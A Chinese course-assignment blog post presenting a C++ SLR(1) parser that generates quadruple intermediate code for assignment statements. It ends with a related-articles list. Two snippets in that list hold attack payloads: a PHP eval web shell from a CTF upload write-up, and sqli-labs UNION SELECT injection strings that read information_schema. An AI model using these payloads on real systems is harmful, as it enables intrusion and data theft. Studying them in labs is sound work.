编译原理本科课程 专题5 基于 SLR(1)分析的语义分析及中间代码生成程序设计

一、程序功能描述

本程序由C/C++编写,实现了赋值语句语法制导生成四元式,并完成了语法分析和语义分析过程。

以专题 1 词法分析程序的输出为语法分析的输入,完成以下描述赋值语句 SLR(1)文法的语义分析及中间代码四元式的过程,实现编译器前端。

G[S]:     S→V=E

E→E+T∣E-T∣T

T→T*F∣T/F∣F

F→(E)∣i

V→i

二、主要数据结构描述

        关于本程序的数据结构,首先用map存储了非终结符及终结符的编码映射,而后用string存储文件读入和写入的信息等,最重要的是利用vector二维数组实现了SLR分析表,用于存储分析动作;此外定义了四元组和栈的相应结构体。由于本人习惯,字符串处理总体上采用了C风格和C++方式并存的写法。

、程序结构描述

        除main函数外,本程序共定义了4个函数:

        getIndex用于返回输入字符在deCode 映射中的对应索引,若非法字符则返回-1。

dispQuad用于显示解析过程中生成的四元组,并展示输入表达式的中间代码表示;SLR_display则显示分析栈的当前状态、剩余的输入字符串以及解析过程中的当前动作。这两个函数都用于实现编译前端的可视化。

        在SLR_analysis真正实现了SLR(1)文法的分析过程,使用栈 (anstk) 跟踪解析过程中的状态、符号和输入字符串位置,并根据 SLR 解析表执行移入、规约和接受等动作,最后在解析过程中生成四元组,表示中间代码。

四、程序测试

        测试案例展示如下:

        测试用例1:a=((b)+c*d)/f+e*g

#include<iostream>
#include<cstring>
#include<string>
#include<vector>
#include<map>
using namespace std;
const int N=1024;
string testFileName = "test4.txt";
string info[3] = {"---------------------------", "SLR(1)分析", "---------------------------"};
map<char, int> deCode =
{
    {'i', 0},
    {'=', 1},
    {'+', 2},
    {'-', 3},
    {'*', 4},
    {'/', 5},
    {'(', 6},
    {')', 7},
    {'#', 8},
    {'S', 9},
    {'E', 10},
    {'T', 11},
    {'F', 12},
    {'V', 13},
};
vector<vector<int>>table = 
                    {{ 3, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2},
                    { 0, 0, 0, 0, 0, 0, 0, 0,-11,0,0, 0, 0, 0},
                    { 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
                    {-10,-10,-10,-10,-10,-10,-10,-10,-10, 0, 0, 0, 0, 0},
                    { 9, 0, 0, 0, 0, 0, 8, 0, 0, 0, 5, 6, 7, 0},
                    {-1,-1,10,11,-1,-1,-1,-1,-1, 0, 0, 0, 0, 0},
                    {-4,-4,-4,-4,12,13,-4,-4,-4, 0, 0, 0, 0, 0},
                    {-7,-7,-7,-7,-7,-7,-7,-7,-7, 0, 0, 0, 0, 0},
                    { 9, 0, 0, 0, 0, 0, 8, 0, 0, 0,14, 6, 7, 0},
                    {-9,-9,-9,-9,-9,-9,-9,-9,-9, 0, 0, 0, 0, 0},
                    { 9, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0,15, 7, 0},
                    { 9, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0,16, 7, 0},
                    { 9, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0,17, 0},
                    { 9, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0,18, 0},
                    { 0, 0,10,11, 0, 0, 0,19, 0, 0, 0, 0, 0, 0},
                    {-2,-2,-2,-2,12,13,-2,-2,-2, 0, 0, 0, 0, 0},
                    {-3,-3,-3,-3,12,13,-3,-3,-3, 0, 0, 0, 0, 0},
                    {-5,-5,-5,-5,-5,-5,-5,-5,-5, 0, 0, 0, 0, 0},
                    {-6,-6,-6,-6,-6,-6,-6,-6,-6, 0, 0, 0, 0, 0},
                    {-8,-8,-8,-8,-8,-8,-8,-8,-8, 0, 0, 0, 0, 0}};

struct quadruple {
    char op[N];
    char arg1[N];
    char arg2[N];
    char res[N];
};
struct quadruple quad[N];   
int topOfQuad = 0;          

struct Stack {
    char s[N];
    int i[N];
    int space[N];
    int top;
}; 
 

int getIndex(char ch);
int SLR_analysis(char *str, struct Stack *anstk);
void SLR_display(char *str, struct Stack *anstk, int cur);
void dispQuad();

int main() {
    for (int i = 0; i < 3; i++)
        cout << info[i] << endl;


    FILE *fp = fopen(testFileName.c_str(), "r");
    char buf[N] = "";
    char input[N] = "";
    fgets(buf, N, fp);
    int j = 0;
    for(int k = 0; k < strlen(buf); k++) { 
        if(buf[k] == '1' && buf[k+1] == ',') {
            k += 3;
            while(1) {
                if(buf[k] == ')' && buf[k+1] == ' ')
                    break;
                input[j++] = buf[k++];
            }
            continue;
        }
        if(buf[k] == ',' && buf[k+1] == ' ') {
            k += 2;
            while(1) {
                if(buf[k] == ')' && buf[k+1] == ' ')
                    break;
                input[j++] = buf[k++];
            }
        }
    }
    printf("输入表达式为: %s\n", input); 
    input[j] = '#'; 
    fclose(fp);
    struct Stack *anstk;
    anstk = (struct Stack *)malloc(sizeof(struct Stack));
    anstk->s[0] = '#';
    anstk->i[0] = 0;
    anstk->space[0] = -1;
    anstk->top = 0; 
    if(!SLR_analysis(input, anstk)) {
        cout << "语法错误!" << endl;
    }
    else {
        cout << "分析成功!" << endl;
        dispQuad(); 
    }
    return 0;
}

int getIndex(char ch) {
    if (deCode.find(ch) != deCode.end())
        return deCode[ch];
    else
        return -1;
}
 
void SLR_display(char *str, struct Stack *anstk, int cur) { 
    for(int i = 0; i <= anstk->top; i++) {
        cout << anstk->s[i];
        
    }

    for(int i = 0; i < 3-(anstk->top+1)/8; i++) {
        cout<< "\t";
    }
    for(int i = cur; i < strlen(str); i++) {
        cout << str[i];
    }
    printf("\n");
}
 
void dispQuad() { 
    printf("四元式:\n");
    for(int i = 1; i <= topOfQuad; i++) {
        printf("(%s, %s, %s, %s)\n", quad[i].op, quad[i].arg1, quad[i].arg2, quad[i].res);
    }
}

int SLR_analysis(char *str, struct Stack *anstk) { 
    topOfQuad = 0;
    int i = 0;
    int next;
    printf("分析栈:\t\t\t字符串:\t\t\t动作:\n");
    while(i < strlen(str)) {
        if(anstk->top < 0) return 0; 
        int y; 
        if (str[i] >= 'a' && str[i] <= 'z') y = getIndex('i'); 
        else y = getIndex(str[i]);
        if(y == -1 || table[anstk->i[anstk->top]][y] == 0) { 
            return 0;
        }
        if(table[anstk->i[anstk->top]][y] > 0) { 
            next = table[anstk->i[anstk->top]][y];
            anstk->top++;
            anstk->s[anstk->top] = str[i];
            anstk->i[anstk->top] = next;
            anstk->space[anstk->top] = i;
            i++;
            SLR_display(str, anstk, i);
        }
        else if(table[anstk->i[anstk->top]][y] < 0) { 
            int tmp = -table[anstk->i[anstk->top]][y]; 
            if(tmp == 4 || tmp == 7 || tmp == 9 || tmp == 10) {
                anstk->top--; 
            }
            else if(tmp == 2 || tmp == 3 || tmp == 5 || tmp == 6){
                
                topOfQuad++;
                if(tmp == 2) strcpy(quad[topOfQuad].op, "+");
                else if(tmp == 3) strcpy(quad[topOfQuad].op, "-");
                else if(tmp == 5) strcpy(quad[topOfQuad].op, "*");
                else strcpy(quad[topOfQuad].op, "/");
                if(anstk->space[anstk->top - 2] < 0) sprintf(quad[topOfQuad].arg1, "t%d", -anstk->space[anstk->top - 2]);
                else {
                    char arg1[2] = {str[anstk->space[anstk->top - 2]], '\0'};
                    strcpy(quad[topOfQuad].arg1, arg1);
                }
                if(anstk->space[anstk->top] < 0) sprintf(quad[topOfQuad].arg2, "t%d", -anstk->space[anstk->top]);
                else {
                    char arg2[2] = {str[anstk->space[anstk->top]], '\0'};
                    strcpy(quad[topOfQuad].arg2, arg2);
                }
                cout << "\t\t\t\t\t\t";
                printf("t%d = %s %s %s\n", topOfQuad, quad[topOfQuad].arg1, quad[topOfQuad].op, quad[topOfQuad].arg2); 
                sprintf(quad[topOfQuad].res, "t%d", topOfQuad);
                anstk->top -= 3; 
                anstk->space[anstk->top + 1] = -topOfQuad; 
            }
            else if(tmp == 8) {
                anstk->top -= 3; 
                anstk->space[anstk->top + 1] = anstk->space[anstk->top + 2]; 
            }
            else if(tmp == 1){
                topOfQuad++;
                strcpy(quad[topOfQuad].op, "=");
                if(anstk->space[anstk->top] < 0) sprintf(quad[topOfQuad].arg1, "t%d", abs(anstk->space[anstk->top]));
                else {
                    char arg1[2] = {str[anstk->space[anstk->top]], '\0'};
                    strcpy(quad[topOfQuad].arg1, arg1);
                }
                sprintf(quad[topOfQuad].arg2, " ");
                char res[2] = {str[anstk->space[anstk->top - 2]], '\0'};
                strcpy(quad[topOfQuad].res, res);
                cout << "\t\t\t\t\t\t";
                printf("%s = %s\n", quad[topOfQuad].res, quad[topOfQuad].arg1);
                anstk->top -= 3; 
            }
            else anstk->top -= 3;
            if(tmp == 1) { 
                y = getIndex('S');
                next = table[anstk->i[anstk->top]][y]; 
                anstk->top++;
                anstk->s[anstk->top] = 'S';
                anstk->i[anstk->top] = next; 
            }
            else if(tmp == 2 || tmp ==3 || tmp == 4) {
                y = getIndex('E');
                next = table[anstk->i[anstk->top]][y]; 
                anstk->top++;
                anstk->s[anstk->top] = 'E';
                anstk->i[anstk->top] = next;
            }
            else if(tmp == 5 || tmp == 6 || tmp == 7) {
                y = getIndex('T');
                next = table[anstk->i[anstk->top]][y];
                anstk->top++;
                anstk->s[anstk->top] = 'T';
                anstk->i[anstk->top] = next;
            }
            else if(tmp == 8 || tmp == 9) {
                y = getIndex('F');
                next = table[anstk->i[anstk->top]][y];
                anstk->top++;
                anstk->s[anstk->top] = 'F';
                anstk->i[anstk->top] = next;
            }
            else if(tmp == 10) {
                y = getIndex('V');
                next = table[anstk->i[anstk->top]][y];
                anstk->top++;
                anstk->s[anstk->top] = 'V';
                anstk->i[anstk->top] = next;
            }
            else if(tmp == 11) {
                return 1; 
            }
            SLR_display(str, anstk, i);
        }
    }
    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/371255.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于tomcat的https(ssl)双向认证

一、背景介绍 某个供应商服务需要部署到海外&#xff0c;如果海外多个地区需要部署多个服务&#xff0c;最好能实现统一登录&#xff0c;这样可以减轻用户的使用负担&#xff08;不用记录一堆密码&#xff09;。由于安全问题&#xff08;可能会泄露用户数据&#xff09;&#x…

【大厂AI课学习笔记】1.5 AI技术领域(1)计算机视觉

人工智能的三大基础应用领域是&#xff0c;自然语言处理&#xff0c;语音识别&#xff0c;计算机视觉。 计算机视觉&#xff1a;定义、关键技术、技术发展、应用场景与商业化成功 一、计算机视觉的定义 计算机视觉&#xff0c;作为一个跨学科的领域&#xff0c;旨在研究如何让…

ArcGIS Pro 按照字段进行融合或拆分

ArcGIS Pro 按字段融合 在ArcGIS Pro中&#xff0c;通过使用“融合”工具可以轻松地合并具有相同字段的图层。 步骤一&#xff1a;打开ArcGIS Pro 启动ArcGIS Pro应用程序&#xff0c;确保您已经登录并打开您的项目。 步骤二&#xff1a;添加图层 将包含相同字段的图层添加到…

【Linux】信号-上

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;折纸花满衣 &#x1f3e0;个人专栏&#xff1a;题目解析 &#x1f30e;推荐文章&#xff1a;【LeetCode】winter vacation training 目录 &#x1f449;&#x1f3fb;信号的概念与产生jobs命令普通信号和实…

牛客网-------------------------长方体

解题思路&#xff1a; 设棱长为x&#xff0c;y&#xff0c;z&#xff1b;假设已知面积为a&#xff0c;b&#xff0c;c 那么&#xff0c;xya&#xff1b;yzb&#xff1b;xzc&#xff1b; 一式除二式得x/za/b x(a/b)*z 联立xzc 代入得&#xff08;a/b)z^2c z^2c*b/a z根号下&…

Windows自动化实现:系统通知和任务栏图标自定义

文章目录 Windows自动化的三个小工具系统通知任务栏图标使用pystray实现使用infi.systray实现 Windows自动化的三个小工具 系统通知 import win10toastwin10toast.ToastNotifier().show_toast("eee", "休息一下", icon_path"icon.ico", durati…

服务器和云计算之间有什么关系?

云计算与服务器之间的关系是密切而复杂的。首先&#xff0c;我们需要明确一点&#xff0c;云计算并不是一种全新的技术&#xff0c;而是对现有技术的一种整合和改进。在这个基础上&#xff0c;我们可以更好地理解云计算与服务器之间的关系。 服务器是云计算的重要组成部分之一…

2024/02/04

1.请编程实现双向链表的头插&#xff0c;头删、尾插、尾删 //双向链表头插 DoubleLink insert_head(DoubleLink head,datatype element) {//创建新节点DoubleLink screate();s->dataelement;//链表为空if(NULLhead)heads;else{s->nexthead;head->prevs;heads;}return…

大数据 - Spark系列《四》- Spark分布式运行原理

Spark系列文章&#xff1a; 大数据 - Spark系列《一》- 从Hadoop到Spark&#xff1a;大数据计算引擎的演进-CSDN博客 大数据 - Spark系列《二》- 关于Spark在Idea中的一些常用配置-CSDN博客 大数据 - Spark系列《三》- 加载各种数据源创建RDD-CSDN博客 目录 &#x1f360;…

Leetcode—33. 搜索旋转排序数组【中等】

2024每日刷题&#xff08;110&#xff09; Leetcode—33. 搜索旋转排序数组 实现代码 class Solution { public:int search(vector<int>& nums, int target) {int n nums.size();int l 0, r n - 1;while(l < r) {int m l (r - l) / 2;if(nums[m] target) …

【Django开发】美多商城项目第3篇:用户注册和图片验证码开发(附代码,文档已分享)

本系列文章md笔记&#xff08;已分享&#xff09;主要讨论django商城项目开发相关知识。本项目利用Django框架开发一套前后端不分离的商城项目&#xff08;4.0版本&#xff09;含代码和文档。功能包括前后端不分离&#xff0c;方便SEO。采用Django Jinja2模板引擎 Vue.js实现…

配置visualsvn提交后自动邮件通知

参考&#xff1a; https://blog.csdn.net/wiker_yong/article/details/10334967 # -*- coding: utf-8 -*- import sys import os import smtplib from email.mime.text import MIMEText from email.header import Headermail_host smtp.163.com #发送邮件的smtp地址 mail_us…

[SWPUCTF 2021 新生赛]easyupload1.0

发现是上传文件第一想到是文件木马 <?php eval ($_POST[123]);?>木马上传burp修改后缀发现flag里面这个是假的 我们猜想是在phpinfo我们上传<?php eval(phpinfo(););?>木马上传burp修改后缀里面 CtrlF 发现flag

[c++]多态的原理

引言 OOP的核心思想是多态性。多态性这个词源自希腊语&#xff0c;其含义是“多种形式”。我们把具有继承关系的多个类型称为多态类型&#xff0c;因为我们能使用这些类型的“多种形式”而无须在意它们的差异。引用或指针的静态类型与动态类型不同这一事实正是C语言支持多态性的…

算法练习-环形链表(思路+流程图+代码)

难度参考 难度&#xff1a;中等 分类&#xff1a;链表 难度与分类由我所参与的培训课程提供&#xff0c;但需要注意的是&#xff0c;难度与分类仅供参考。且所在课程未提供测试平台&#xff0c;故实现代码主要为自行测试的那种&#xff0c;以下内容均为个人笔记&#xff0c;旨在…

数据库主从加读写分离

1. 规划节点 mysql1------192.168.200.8------主数据库节点 mysql2------192.168.200.13------从数据库节点 mycat------192.168.200.21------数据库中间件节点 2. 基础准备​ 使用OpenStack平台创建两台云主机进行试验&#xff0c;云主机使用提供的CentOS_7.5_x86_64_XD.qc…

neo4j查询id为null

今天在neo4j里执行一条查询语句时&#xff0c;发现id属性查询不出来显示为null 后来了解到&#xff0c;Neo4j 默认情况下并不提供一个名为 id 的属性。通常情况下&#xff0c;Neo4j 中的节点都有一个内部的唯一标识符&#xff0c;但是这个标识符并不以 id 的形式暴露给用户。 …

[Python] scikit-learn中数据集模块介绍和使用案例

sklearn.datasets模块介绍 在scikit-learn中&#xff0c;可以使用sklearn.datasets模块中的函数来构建数据集。这个模块提供了用于加载和生成数据集的函数。 API Reference — scikit-learn 1.4.0 documentation 以下是一些常用的sklearn.datasets模块中的函数 load_iris() …

最简单的基于 FFmpeg 的 AVfilter 例子(水印叠加)

最简单的基于 FFmpeg 的 AVfilter 例子&#xff08;水印叠加&#xff09; 最简单的基于 SDL2 的音频播放器正文工程文件下载 参考雷霄骅博士的文章&#xff0c;链接&#xff1a;最简单的基于FFmpeg的AVfilter例子&#xff08;水印叠加&#xff09; 最简单的基于 SDL2 的音频播…

sqli.labs靶场(41-53关)

41、第四十一关 -1 union select 1,2,3-- -1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schemadatabase()) -- -1 union select 1,2,(select group_concat(column_name) from information_schema.columns wher…